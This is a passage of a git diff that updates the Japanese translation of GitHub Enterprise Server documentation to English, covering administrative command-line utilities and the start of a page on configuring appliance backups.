-`ghe-set-password` では、[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console) に認証するための新しいパスワードを設定することができます。 +With `ghe-set-password`, you can set a new password to authenticate into the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). ```shell -ghe-set-password <新しいパスワード> +ghe-set-password ``` ### ghe-ssh-check-host-keys -このユーティリティは、既存の SSH のホストキーを漏洩した SSH ホストキーと比べます。 +This utility checks the existing SSH host keys against the list of known leaked SSH host keys. ```shell $ ghe-ssh-check-host-keys ``` -漏洩したホストキーが発見された場合、ユーティリティは `1` というステータスと次のメッセージで終了します。 +If a leaked host key is found the utility exits with status `1` and a message: ```shell > One or more of your SSH host keys were found in the blacklist. > Please reset your host keys using ghe-ssh-roll-host-keys. ``` -漏洩したホストキーが発見されなかった場合、ユーティリティは `0` というステータスと次のメッセージで終了します。 +If a leaked host key was not found, the utility exits with status `0` and a message: ```shell > The SSH host keys were not found in the SSH host key blacklist. > No additional steps are needed/recommended at this time. @@ -381,34 +380,35 @@ $ ghe-ssh-check-host-keys ### ghe-ssh-roll-host-keys -このユーティリティは、SSH のホストキーを廃棄し、新しく作成したキーに置き換えます。 +This utility rolls the SSH host keys and replaces them with newly generated keys. ```shell $ sudo ghe-ssh-roll-host-keys -SSH のホストキーを廃棄しますか？ /etc/ssh/ssh_host_* にある既存キーを削除し、新しいキーを生成します。 [y/N] +Proceed with rolling SSH host keys? This will delete the +existing keys in /etc/ssh/ssh_host_* and generate new ones. [y/N] -# 'Y' を押して、削除を確認するか、-y スイッチを使ってこのプロンプトを回避する +# Press 'Y' to confirm deleting, or use the -y switch to bypass this prompt > SSH host keys have successfully been rolled. ``` ### ghe-ssh-weak-fingerprints -このユーティリティは、{% data variables.product.prodname_enterprise %} のアプライアンスに保存されている脆弱なSSHキーの報告を作成します。 ユーザのキーを一括アクションとして取り消すことができます。 このユーティリティは、脆弱なシステムキーについて報告します。取り消しは、[{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console) で手動的に行う必要があります。 +This utility returns a report of known weak SSH keys stored on the {% data variables.product.prodname_enterprise %} appliance. You can optionally revoke user keys as a bulk action. The utility will report weak system keys, which you must manually revoke in the [{% data variables.enterprise.management_console %}](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console). ```shell -# ユーザのシステムの脆弱なキーの報告を表示 +# Print a report of weak user and system SSH keys $ ghe-ssh-weak-fingerprints -# ユーザの全ての脆弱なキーを取り消す +# Revoke all weak user keys $ ghe-ssh-weak-fingerprints --revoke ``` ### ghe-ssl-acme -このユーティリティでは、 {% data variables.product.prodname_enterprise %} のアプライアンスに Let's Encrypt の証明書をインストールすることができます。 詳しくは、"[TLS の設定方法](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)。" を参照してください。 +This utility allows you to install a Let's Encrypt certificate on your {% data variables.product.prodname_enterprise %} appliance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." -`-x`フラグを使って、ACME設定を削除できます。 +You can use the `-x` flag to remove the ACME configuration. ```shell ghe-ssl-acme -e @@ -416,11 +416,11 @@ ghe-ssl-acme -e ### ghe-ssl-ca-certificate-install -このユーティリティでは、{% data variables.product.prodname_enterprise %} のサーバにカスタムルートのCA証明書をインストールできます。 証明書は PEM 形式でなければなりません。 さらに、証明書の提供者が1つのファイルに複数のCA証明書を含めている場合は、それらを個別のファイルに分けて `ghe-ssl-ca-certificate-install` に各々を渡す必要があります。 +This utility allows you to install a custom root CA certificate on your {% data variables.product.prodname_enterprise %} server. The certificate must be in PEM format. Furthermore, if your certificate provider includes multiple CA certificates in a single file, you must separate them into individual files that you then pass to `ghe-ssl-ca-certificate-install` one at a time. -S/MIME コミット署名の検証のために証明書チェーンを追加するには、このユーティリティを実行します。 詳細は「[コミット署名の検証について](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)」を参照してください。 +Run this utility to add a certificate chain for S/MIME commit signature verification. For more information, see "[About commit signature verification](/enterprise/{{ currentVersion }}/user/articles/about-commit-signature-verification/)." -他のサーバが自己署名証明書または必要な CA バンドルがついていない SSL 証明書を使っているため {% data variables.product.product_location %} がそのサーバに接続できない場合、このユーティリティを使ってください。 これを確認する方法は、{% data variables.product.product_location %} から`openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` を実行することです。 リモートサーバの SSL 証明書を確認できたら、`SSL-Session` が次のように0の終了コードを表示します。 +Run this utility when {% data variables.product.product_location %} is unable to connect to another server because the latter is using a self-signed SSL certificate or an SSL certificate for which it doesn't provide the necessary CA bundle. One way to confirm this is to run `openssl s_client -connect host:port -verify 0 -CApath /etc/ssl/certs` from {% data variables.product.product_location %}. If the remote server's SSL certificate can be verified, your `SSL-Session` should have a return code of 0, as shown below. ``` SSL-Session: @@ -435,7 +435,7 @@ SSL-Session: Verify return code: 0 (ok) ``` -リモートサーバの SSL 証明書を確認*できない*場合は、`SSL-Session` が0ではない終了コードを表示します。 +If, on the other hand, the remote server's SSL certificate can *not* be verified, your `SSL-Session` should have a nonzero return code: ``` SSL-Session: @@ -450,9 +450,9 @@ SSL-Session: Verify return code: 27 (certificate not trusted) ``` -ユーティリティでは以下のオプションを使用できます: -- `-r` フラグにより、CA 証明書をアンインストールできます。 -- `-h` フラグはさらなる使用情報を表示します。 +You can use these additional options with the utility: +- The `-r` flag allows you to uninstall a CA certificate. +- The `-h` flag displays more usage information. ```shell ghe-ssl-ca-certificate-install -c /path/to/certificate @@ -460,9 +460,9 @@ ghe-ssl-ca-certificate-install -c /path/to/certificate ### ghe-ssl-generate-csr -このユーティリティにより、秘密鍵と証明書署名要求 (CSR) を生成できます。これらを商用またはプライベートの認証局と共有することで、インスタンスで使用する有効な証明書を取得できます。 詳しくは、"[TLS の設定方法](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)。" を参照してください。 +This utility allows you to generate a private key and certificate signing request (CSR), which you can share with a commercial or private certificate authority to get a valid certificate to use with your instance. For more information, see "[Configuring TLS](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-tls)." -このコマンドの詳細や追加のオプションについては、`-h` フラグを使用してください。 +For more information about this command or for additional options, use the `-h` flag. ```shell ghe-ssl-generate-csr @@ -470,7 +470,7 @@ ghe-ssl-generate-csr ### ghe-storage-extend -一部のプラットフォームでは、ユーザボリュームを拡張するためにこのスクリプトが必要です。 詳細は「[ストレージ容量の増加](/enterprise/admin/guides/installation/increasing-storage-capacity/)」を参照してください。 +Some platforms require this script to expand the user volume. For more information, see "[Increasing Storage Capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)". ```shell $ ghe-storage-extend @@ -478,7 +478,7 @@ $ ghe-storage-extend ### ghe-version -このユーティリティは、{% data variables.product.product_location %} のバージョンやプラットフォーム、ビルドを表示します。 +This utility prints the version, platform, and build of {% data variables.product.product_location %}. ```shell $ ghe-version @@ -486,26 +486,26 @@ $ ghe-version ### ghe-webhook-logs -このユーティリティは、管理人がレビューして問題を突き止めるための webhook のデリバリーログを表示します。 +This utility returns webhook delivery logs for administrators to review and identify any issues. ```shell ghe-webhook-logs ``` -過去1日の失敗したフックデリバリーを表示するには、以下のようにします。 +To show all failed hook deliveries in the past day: {% ifversion ghes %} ```shell ghe-webhook-logs -f -a YYYY-MM-DD ``` -日付のフォーマットは、`YYYY-MM-DD`、`YYYY-MM-DD HH:MM:SS`、または `YYYY-MM-DD HH:MM:SS (+/-) HH:M` である必要があります。 +The date format should be `YYYY-MM-DD`, `YYYY-MM-DD HH:MM:SS`, or `YYYY-MM-DD HH:MM:SS (+/-) HH:M`. {% else %} ```shell ghe-webhook-logs -f -a YYYYMMDD ``` {% endif %} -フックのペイロードの全体や結果、デリバリーの例外を表示するには、以下のようにします。 +To show the full hook payload, result, and any exceptions for the delivery: {% ifversion ghes %} ```shell ghe-webhook-logs -g delivery-guid @@ -516,11 +516,11 @@ ghe-webhook-logs -g delivery-guid -v ``` {% endif %} -## クラスタリング +## Clustering ### ghe-cluster-status -{% data variables.product.prodname_ghe_server %} のクラスターデプロイメントでノードとサービスの健全性を確認します。 +Check the health of your nodes and services in a cluster deployment of {% data variables.product.prodname_ghe_server %}. ```shell $ ghe-cluster-status @@ -528,26 +528,26 @@ $ ghe-cluster-status ### ghe-cluster-support-bundle -このユーティリティは、Geo-replication またはクラスタリングのいずれかの構成で、各ノードからの重要なログを含む Support Bundle tarball を作成します。 +This utility creates a support bundle tarball containing important logs from each of the nodes in either a Geo-replication or Clustering configuration. -このコマンドは、デフォルトの設定では、*/tmp* に TAR 書庫を作成しますが、簡単に SSH 経由でストリーミングできるように、TAR 書庫を `STDOUT` に `cat`できます。 ウェブ UI が反応していないか、*/setup/support* から Support Bundle をダウンロードできないときに役立ちます。 より古いログを含む*拡張*バンドルを生成するときにこのコマンドを使う必要があります。 さらに、このコマンドを使って {% data variables.product.prodname_enterprise %} のサポートにクラスタリングSupport Bundle を直接アップロードすることができます。 +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the cluster support bundle directly to {% data variables.product.prodname_enterprise %} support. -標準のバンドルを作成するには、以下のようにします。 +To create a standard bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -o' > cluster-support-bundle.tgz ``` -拡張バンドルを作成するには、以下のようにします。 +To create an extended bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -x -o' > cluster-support-bundle.tgz ``` -バンドルを{% data variables.contact.github_support %}に送信するには、以下のようにします。 +To send a bundle to {% data variables.contact.github_support %}: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -u' ``` -バンドルを{% data variables.contact.github_support %}に送信し、そのバンドルをチケットに関連づけるには以下のようにします。 +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: ```shell $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -t ticket-id' ``` @@ -555,7 +555,7 @@ $ ssh -p 122 admin@hostname -- 'ghe-cluster-support-bundle -t ticke {% ifversion ghes %} ### ghe-cluster-failover -アクティブクラスタノードからパッシブクラスタノードにフェイルオーバーします。 詳しい情報については、「[レプリカクラスタへのフェイルオーバーを開始する](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)」を参照してください。 +Fail over from active cluster nodes to passive cluster nodes. For more information, see "[Initiating a failover to your replica cluster](/enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-cluster)." ```shell ghe-cluster-failover @@ -564,43 +564,43 @@ ghe-cluster-failover ### ghe-dpages -このユーティリティを使えば、分散{% data variables.product.prodname_pages %}サーバーを管理できます。 +This utility allows you to manage the distributed {% data variables.product.prodname_pages %} server. ```shell ghe-dpages ``` -リポジトリの場所と健全性の概要を表示するには、以下のようにします。 +To show a summary of repository location and health: ```shell ghe-dpages status ``` -クラスタノードの退避に先立って{% data variables.product.prodname_pages %}ストレージサービスを退避するには、以下のようにします。 +To evacuate a {% data variables.product.prodname_pages %} storage service before evacuating a cluster node: ```shell ghe-dpages evacuate pages-server-UUID ``` ### ghe-spokes -このユーティリティでは、分散型 Git サーバにある各リポジトリの3つのコピーを管理することができます。 +This utility allows you to manage the three copies of each repository on the distributed git servers. ```shell ghe-spokes ``` -リポジトリの場所と健全性の概要を表示するには、以下のようにします。 +To show a summary of repository location and health: ```shell ghe-spokes status ``` -リポジトリが保存されているサーバーを表示するには、以下のようにします。 +To show the servers in which the repository is stored: ```shell ghe-spokes route ``` -クラスタノード上のストレージサービスを退避するには、以下のようにします。 +To evacuate storage services on a cluster node: ```shell ghe-spokes server evacuate git-server-UUID @@ -608,7 +608,7 @@ ghe-spokes server evacuate git-server-UUID ### ghe-storage -このユーティリティを使用すると、クラスタノードからの待避の前にストレージサービスをすべて待避させることができます。 +This utility allows you to evacuate all storage services before evacuating a cluster node. ```shell ghe-storage evacuate storage-server-UUID @@ -618,7 +618,7 @@ ghe-storage evacuate storage-server-UUID ### ghe-btop -現在の Git 作業用の`top`にあたるインタフェース。 +A `top`-like interface for current Git operations. ```shell ghe-btop [ | --help | --usage ] @@ -651,72 +651,72 @@ Try ghe-governor --help for more information on the arguments each ### ghe-repo -このユーティリティでは、リポジトリのディレクトリを変更し、`git`ユーザとしてインタラクティブシェルを開けることができます。 `git-*` や `git-nw-*` などのコマンドを使って、手動的な監査やメンテナンスを行うことができます。 +This utility allows you to change to a repository's directory and open an interactive shell as the `git` user. You can perform manual inspection or maintenance of a repository via commands like `git-*` or `git-nw-*`. ```shell -ghe-repo ユーザ名/reponame +ghe-repo username/reponame ``` ### ghe-repo-gc -このユーティリティは、パックの容量を最適化するために、手動的にリポジトリのネットワークをリパックします。 大きなリポジトリの場合、このコマンドではリポジトリの全体的なサイズを減らすことができます。 リポジトリのネットワークとの対話を通じて、{% data variables.product.prodname_enterprise %} がこのコマンドを自動的に実行します。 +This utility manually repackages a repository network to optimize pack storage. If you have a large repository, running this command may help reduce its overall size. {% data variables.product.prodname_enterprise %} automatically runs this command throughout your interaction with a repository network. -任意の`--prune` の引数を付けて、ブランチやタグ、refに参照されていない、届かないGitオブジェクトを除くことができます。 これは、[以前抹消した機密情報](/enterprise/user/articles/remove-sensitive-data/) を直ちに削除するのに役立ちます。 +You can add the optional `--prune` argument to remove unreachable Git objects that aren't referenced from a branch, tag, or any other ref. This is particularly useful for immediately removing [previously expunged sensitive information](/enterprise/user/articles/remove-sensitive-data/). ```shell -ghe-repo-gc ユーザ名/reponame +ghe-repo-gc username/reponame ``` -## インポートとエクスポート +## Import and export ### ghe-migrator -`ghe-migrator` は、他のGitHubインスタンスに移行するためのハイファイツールです。 インスタンスを統合、もしくは Organization やユーザ、Team、リポジトリをGitHub.comから {% data variables.product.prodname_enterprise %} に移行することができます。 +`ghe-migrator` is a hi-fidelity tool to help you migrate from one GitHub instance to another. You can consolidate your instances or move your organization, users, teams, and repositories from GitHub.com to {% data variables.product.prodname_enterprise %}. -詳しくは、[ユーザやOrganization、リポジトリデータの移行](/enterprise/admin/guides/migrations/)の説明書を参照してください。 +For more information, please see our guide on [migrating user, organization, and repository data](/enterprise/admin/guides/migrations/). ### git-import-detect -URL が与えられたら、どのタイプのソース管理システムが相手側にあるのかを検出します。 このことは、手動インポートの間におそらくすでに知られていますが、自動化されたスクリプトでとても役立ちます。 +Given a URL, detect which type of source control management system is at the other end. During a manual import this is likely already known, but this can be very useful in automated scripts. ```shell git-import-detect ``` ### git-import-hg-raw -このユーティリティは、MercurialのリポジトリをこのGitリポジトリにインポートします。 詳しい情報については「[サードパーティのバージョン管理システムからのデータのインポート](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)」を参照してください。 +This utility imports a Mercurial repository to this Git repository. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-hg-raw ``` ### git-import-svn-raw -このユーティリティはSubversionの履歴とファイルデータをGitのブランチにインポートします。 これはツリーの単純なコピーであり、トランクやブランチの区別を無視します。 詳しい情報については「[サードパーティのバージョン管理システムからのデータのインポート](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)」を参照してください。 +This utility imports Subversion history and file data into a Git branch. This is a straight copy of the tree, ignoring any trunk or branch distinction. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-svn-raw ``` ### git-import-tfs-raw -このユーティリティは、Team Foundation Version Control (TFVC) からインポートします。 詳しい情報については「[サードパーティのバージョン管理システムからのデータのインポート](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)」を参照してください。 +This utility imports from Team Foundation Version Control (TFVC). For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-tfs-raw ``` ### git-import-rewrite -このユーティリティは、インポートされたリポジトリを書き直します。 これにより、作者名を変更したり、Subversion および TFVC では、フォルダーに基づいて Git ブランチがを生成したりすることができます。 詳しい情報については「[サードパーティのバージョン管理システムからのデータのインポート](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)」を参照してください。 +This utility rewrites the imported repository. This gives you a chance to rename authors and, for Subversion and TFVC, produces Git branches based on folders. For more information, see "[Importing data from third party version control systems](/enterprise/admin/guides/migrations/importing-data-from-third-party-version-control-systems/)." ```shell git-import-rewrite ``` -## サポート +## Support ### ghe-diagnostics -このユーティリティは、さまざまな確認を行い、問題を突き止めるためのサポートに送れるインスタレーションについて情報を集めます。 +This utility performs a variety of checks and gathers information about your installation that you can send to support to help diagnose problems you're having. -現在のところ、このユーティリティの出力は、{% data variables.enterprise.management_console %} で診断情報をダウンロードすることに似ていますが、時間の経過とともに、Web UI では利用できない改善がさらに追加されている可能性があります。 詳細は「"[診断ファイルの作成と共有](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)」を参照してください。 +Currently, this utility's output is similar to downloading the diagnostics info in the {% data variables.enterprise.management_console %}, but may have additional improvements added to it over time that aren't available in the web UI. For more information, see "[Creating and sharing diagnostic files](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-diagnostic-files)." ```shell ghe-diagnostics @@ -725,26 +725,26 @@ ghe-diagnostics ### ghe-support-bundle {% data reusables.enterprise_enterprise_support.use_ghe_cluster_support_bundle %} -このユーティリティは、インスタンスから重要なログを含むSupport BundleのTAR書庫を作成します。 +This utility creates a support bundle tarball containing important logs from your instance. -このコマンドは、デフォルトの設定では、*/tmp* に TAR 書庫を作成しますが、簡単に SSH 経由でストリーミングできるように、TAR 書庫を `STDOUT` に `cat`できます。 ウェブ UI が反応していないか、*/setup/support* から Support Bundle をダウンロードできないときに役立ちます。 より古いログを含む*拡張*バンドルを生成するときにこのコマンドを使う必要があります。 さらに、このコマンドを使って {% data variables.product.prodname_enterprise %} のサポートに Support Bundle を直接アップロードすることができます。 +By default, the command creates the tarball in */tmp*, but you can also have it `cat` the tarball to `STDOUT` for easy streaming over SSH. This is helpful in the case where the web UI is unresponsive or downloading a support bundle from */setup/support* doesn't work. You must use this command if you want to generate an *extended* bundle, containing older logs. You can also use this command to upload the support bundle directly to {% data variables.product.prodname_enterprise %} support. -標準のバンドルを作成するには、以下のようにします。 +To create a standard bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -o' > support-bundle.tgz ``` -拡張バンドルを作成するには、以下のようにします。 +To create an extended bundle: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -x -o' > support-bundle.tgz ``` -バンドルを{% data variables.contact.github_support %}に送信するには、以下のようにします。 +To send a bundle to {% data variables.contact.github_support %}: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -u' ``` -バンドルを{% data variables.contact.github_support %}に送信し、そのバンドルをチケットに関連づけるには以下のようにします。 +To send a bundle to {% data variables.contact.github_support %} and associate the bundle with a ticket: ```shell $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -t ticket-id' @@ -752,32 +752,32 @@ $ ssh -p 122 admin@hostname -- 'ghe-support-bundle -t ticket-idpath/to/your/file -t ticket-id ``` -`STDIN`経由でデータをアップロードし、そのデータをチケットに関連づけるには以下のようにします。 +To upload data via `STDIN` and associating the data with a ticket: ```shell ghe-repl-status -vv | ghe-support-upload -t ticket-id -d "Verbose Replication Status" ``` -この例では、`ghe-repl-status -vv` がレプリカアプライアンスから詳細なステータス情報を送信します。 `ghe-repl-status -vv`を`STDIN`ストリーミングしたい特定データに入れ替えて、`Verbose Replication Status` をデータの簡潔な説明に入れ替えます。 {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} +In this example, `ghe-repl-status -vv` sends verbose status information from a replica appliance. You should replace `ghe-repl-status -vv` with the specific data you'd like to stream to `STDIN`, and `Verbose Replication Status` with a brief description of the data. {% data reusables.enterprise_enterprise_support.support_will_ask_you_to_run_command %} -## {% data variables.product.prodname_ghe_server %} のアップグレード +## Upgrading {% data variables.product.prodname_ghe_server %} ### ghe-upgrade -このユーティリティは、アップグレードパッケージをインストール、または確認します。 アップグレードが失敗した場合や中断された場合は、このユーティリティを使用してパッチリリースをロールバックすることもできます。 詳細は「[{% data variables.product.prodname_ghe_server %} をアップグレードする](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)」を参照してください。 +This utility installs or verifies an upgrade package. You can also use this utility to roll back a patch release if an upgrade fails or is interrupted. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." -アップグレードパッケージを確認するには以下のようにします。 +To verify an upgrade package: ```shell ghe-upgrade --verify UPGRADE-PACKAGE-FILENAME ``` -アップグレードパッケージをインストールするには以下のようにします。 +To install an upgrade package: ```shell ghe-upgrade UPGRADE-PACKAGE-FILENAME ``` @@ -786,43 +786,43 @@ ghe-upgrade UPGRADE-PACKAGE-FILENAME ### ghe-upgrade-scheduler -このユーティリティは、アップグレードパッケージの定期的なインストールを管理します。 定期的なインストールを表示、新規作成、削除することができます。 クーロン表現を使って、スケジュールを作る必要があります。 詳しい情報については、[Wikipedia にあるクーロンのエントリー](https://en.wikipedia.org/wiki/Cron#Overview)を参照してくださ +This utility manages scheduled installation of upgrade packages. You can show, create new, or remove scheduled installations. You must create schedules using cron expressions. For more information, see the [Cron Wikipedia entry](https://en.wikipedia.org/wiki/Cron#Overview). -パッケージの新しいインストールをスケジュールするには以下のようにします。 +To schedule a new installation for a package: ```shell $ ghe-upgrade-scheduler -c "0 2 15 12 *" UPGRADE-PACKAGE-FILENAME ``` -パッケージのスケジュールされたインストールを表示するには以下のようにします。 +To show scheduled installations for a package: ```shell $ ghe-upgrade-scheduler -s UPGRADE PACKAGE FILENAME > 0 2 15 12 * /usr/local/bin/ghe-upgrade -y -s UPGRADE-PACKAGE-FILENAME > /data/user/common/UPGRADE-PACKAGE-FILENAME.log 2>&1 ``` -パッケージのスケジュールされたインストールを削除するには以下のようにします。 +To remove scheduled installations for a package: ```shell $ ghe-upgrade-scheduler -r UPGRADE PACKAGE FILENAME ``` ### ghe-update-check -このユーティリティは、{% data variables.product.prodname_enterprise %} の新規パッチのリリースがあるかどうかを確認します。 リリースが存在する場合、インスタンスに十分な容量があればパッケージをダウンロードします。 デフォルトでは、パッケージは */var/lib/ghe-updates* に保存されます。 その後、管理人が[アップグレードを実行できます](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/)。 +This utility will check to see if a new patch release of {% data variables.product.prodname_enterprise %} is available. If it is, and if space is available on your instance, it will download the package. By default, it's saved to */var/lib/ghe-updates*. An administrator can then [perform the upgrade](/enterprise/admin/guides/installation/updating-the-virtual-machine-and-physical-resources/). -*/var/lib/ghe-updates/ghe-update-check.status* にダウンロードのステータスを含むファイルがあります。 +A file containing the status of the download is available at */var/lib/ghe-updates/ghe-update-check.status*. -`-i`のスイッチを使って、{% data variables.product.prodname_enterprise %} の最新リリースを確認することができます。 +To check for the latest {% data variables.product.prodname_enterprise %} release, use the `-i` switch. ```shell $ ssh -p 122 admin@hostname -- 'ghe-update-check' ``` -## ユーザ管理 +## User management ### ghe-license-usage -このユーティリティは、インストールのユーザーのリストを JSON 形式でエクスポートします。 インスタンスが {% data variables.product.prodname_ghe_cloud %} に接続されている場合、{% data variables.product.prodname_ghe_server %} はこの情報を使用してライセンス情報を {% data variables.product.prodname_ghe_cloud %} に報告します。 For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." +This utility exports a list of the installation's users in JSON format. If your instance is connected to {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} uses this information for reporting licensing information to {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." -デフォルトでは、結果の JSON ファイル内のユーザのリストは暗号化されます。 その他のオプションを利用するには、`-h` のフラグを使ってください。 +By default, the list of users in the resulting JSON file is encrypted. Use the `-h` flag for more options. ```shell ghe-license-usage @@ -830,7 +830,7 @@ ghe-license-usage ### ghe-org-membership-update -このユーティリティは、インスタンスでメンバー全員に対して、デフォルトの Organization メンバーシップの可視性の設定を必須化します。 詳しい情報については、「[Organization メンバーの可視性の設定](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)」を参照してください。 設定可能なオプションは、`public` または `private` です。 +This utility will enforce the default organization membership visibility setting on all members in your instance. For more information, see "[Configuring visibility for organization membership](/enterprise/{{ currentVersion }}/admin/guides/user-management/configuring-visibility-for-organization-membership)." Setting options are `public` or `private`. ```shell ghe-org-membership-update --visibility=SETTING @@ -838,7 +838,7 @@ ghe-org-membership-update --visibility=SETTING ### ghe-user-csv -このユーティリティは、インストール内のすべてのユーザのリストを CSV 形式でエクスポートします。 CSV ファイルにはメールアドレスやユーザの種類 (例えば、アドミンやユーザなど) や所有しているリポジトリの数、所有している SSH キーの数、Organization のメンバーの数、最後にログインしたときの IP アドレスなどが含まれています。 その他のオプションを利用するには、`-h` のフラグを使ってください。 +This utility exports a list of all the users in the installation into CSV format. The CSV file includes the email address, which type of user they are (e.g., admin, user), how many repositories they have, how many SSH keys, how many organization memberships, last logged IP address, etc. Use the `-h` flag for more options. ```shell ghe-user-csv -o > users.csv @@ -846,7 +846,7 @@ ghe-user-csv -o > users.csv ### ghe-user-demote -このユーティリティは、指定のユーザをアドミンステータスから一般ユーザのステータスに変更します。 このアクションは、ウェブ UI を使って行うことをおすすめします。このユーティリティを提供しているのは、誤って`ghe-user-promote` を実行してしまった場合に、CLI からユーザを降格させるためです。 +This utility demotes the specified user from admin status to that of a regular user. We recommend using the web UI to perform this action, but provide this utility in case the `ghe-user-promote` utility is run in error and you need to demote a user again from the CLI. ```shell ghe-user-demote some-user-name @@ -854,7 +854,7 @@ ghe-user-demote some-user-name ### ghe-user-promote -このユーティリティは、指定したユーザアカウントをサイト管理人に変更します。 +This utility promotes the specified user account to a site administrator. ```shell ghe-user-promote some-user-name @@ -862,7 +862,7 @@ ghe-user-promote some-user-name ### ghe-user-suspend -このユーティリティは、指定したユーザのアカウントを停止して、ログインやプッシュ、リポジトリからのプルを行えないようにします。 +This utility suspends the specified user, preventing them from logging in, pushing, or pulling from your repositories. ```shell ghe-user-suspend some-user-name @@ -870,7 +870,7 @@ ghe-user-suspend some-user-name ### ghe-user-unsuspend -このユーティリティは、指定したユーザの停止状態を解除して、ログインやプッシュ、リポジトリからプルを行えるようにします。 +This utility unsuspends the specified user, granting them access to login, push, and pull from your repositories. ```shell ghe-user-unsuspend some-user-name diff --git a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md index a6191af3d0..3b90a9cf47 100644 --- a/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md +++ b/translations/ja-JP/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md @@ -1,5 +1,5 @@ --- -title: アプライアンスでのバックアップの設定 +title: Configuring backups on your appliance shortTitle: Configuring backups redirect_from: - /enterprise/admin/categories/backups-and-restores/ @@ -14,7 +14,7 @@ redirect_from: - /enterprise/admin/installation/configuring-backups-on-your-appliance - /enterprise/admin/configuration/configuring-backups-on-your-appliance - /admin/configuration/configuring-backups-on-your-appliance -intro: 'システム災害復旧計画の一部として、自動化バックアップを設定して{% data variables.product.product_location %}のプロダクションデータを保護できます。' +intro: 'As part of a disaster recovery plan, you can protect production data on {% data variables.product.product_location %} by configuring automated backups.' versions: ghes: '*' type: how_to @@ -24,47 +24,46 @@ topics: - Fundamentals - Infrastructure --- +## About {% data variables.product.prodname_enterprise_backup_utilities %} -## {% data variables.product.prodname_enterprise_backup_utilities %}について +{% data variables.product.prodname_enterprise_backup_utilities %} is a backup system you install on a separate host, which takes backup snapshots of {% data variables.product.product_location %} at regular intervals over a secure SSH network connection. You can use a snapshot to restore an existing {% data variables.product.prodname_ghe_server %} instance to a previous state from the backup host. -{% data variables.product.prodname_enterprise_backup_utilities %}は、個別のホストにインストールするバックアップシステムで、{% data variables.product.product_location %}のバックアップスナップショットをセキュアなSSHネットワーク接続経由で定期的に取得します。 スナップショットを使用して、既存の {% data variables.product.prodname_ghe_server %} インスタンスをバックアップホストから以前の状態に復元できます。 +Only data added since the last snapshot will transfer over the network and occupy additional physical storage space. To minimize performance impact, backups are performed online under the lowest CPU/IO priority. You do not need to schedule a maintenance window to perform a backup. -ネットワーク経由で転送されるのは最後のスナップショット以降に追加されたデータのみで、追加の物理ストレージ領域もその分だけしか占めません。 パフォーマンスへの影響を最小化するために、バックアップは最低のCPU/IO優先度の下でオンライン実行されます。 バックアップを行うために、メンテナンスウィンドウをスケジューリングする必要はありません。 +For more detailed information on features, requirements, and advanced usage, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README](https://github.com/github/backup-utils#readme). -機能、要求事項、高度な利用方法に関する詳しい情報については[{% data variables.product.prodname_enterprise_backup_utilities %}README](https://github.com/github/backup-utils#readme)を参照してください。 +## Prerequisites -## 必要な環境 +To use {% data 